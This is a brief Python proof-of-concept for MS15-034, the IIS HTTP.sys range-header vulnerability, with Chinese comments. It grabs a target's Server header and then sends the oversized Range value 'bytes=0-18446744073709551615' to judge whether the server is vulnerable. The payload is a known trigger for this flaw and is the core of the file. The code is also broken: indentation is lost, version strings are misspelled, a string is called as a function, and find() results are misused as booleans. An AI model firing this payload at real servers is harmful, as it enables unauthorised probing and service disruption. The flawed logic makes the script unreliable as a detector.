MS15-034 poc
import requests
url = "ip"
r = requests.get(url)
#获取中间件
mid_server = r.headers['Server']
print(mid_server)
#判断中间件范围
if mid_server.find("IIs/7.5") or mid_server("ISS/8.5"):
#开始检测
payload = {'HOST':'stuff','Range': 'bytes=0-18446744073709551615'}
r1 = requests.get(url,headers=payload)
if str(r1.content).find('Requestd Range Not satisfiable'):
print(url+ " 存在MS15-034漏洞")
else:
print("不存在MS15-034漏洞")
else:
print("不存在")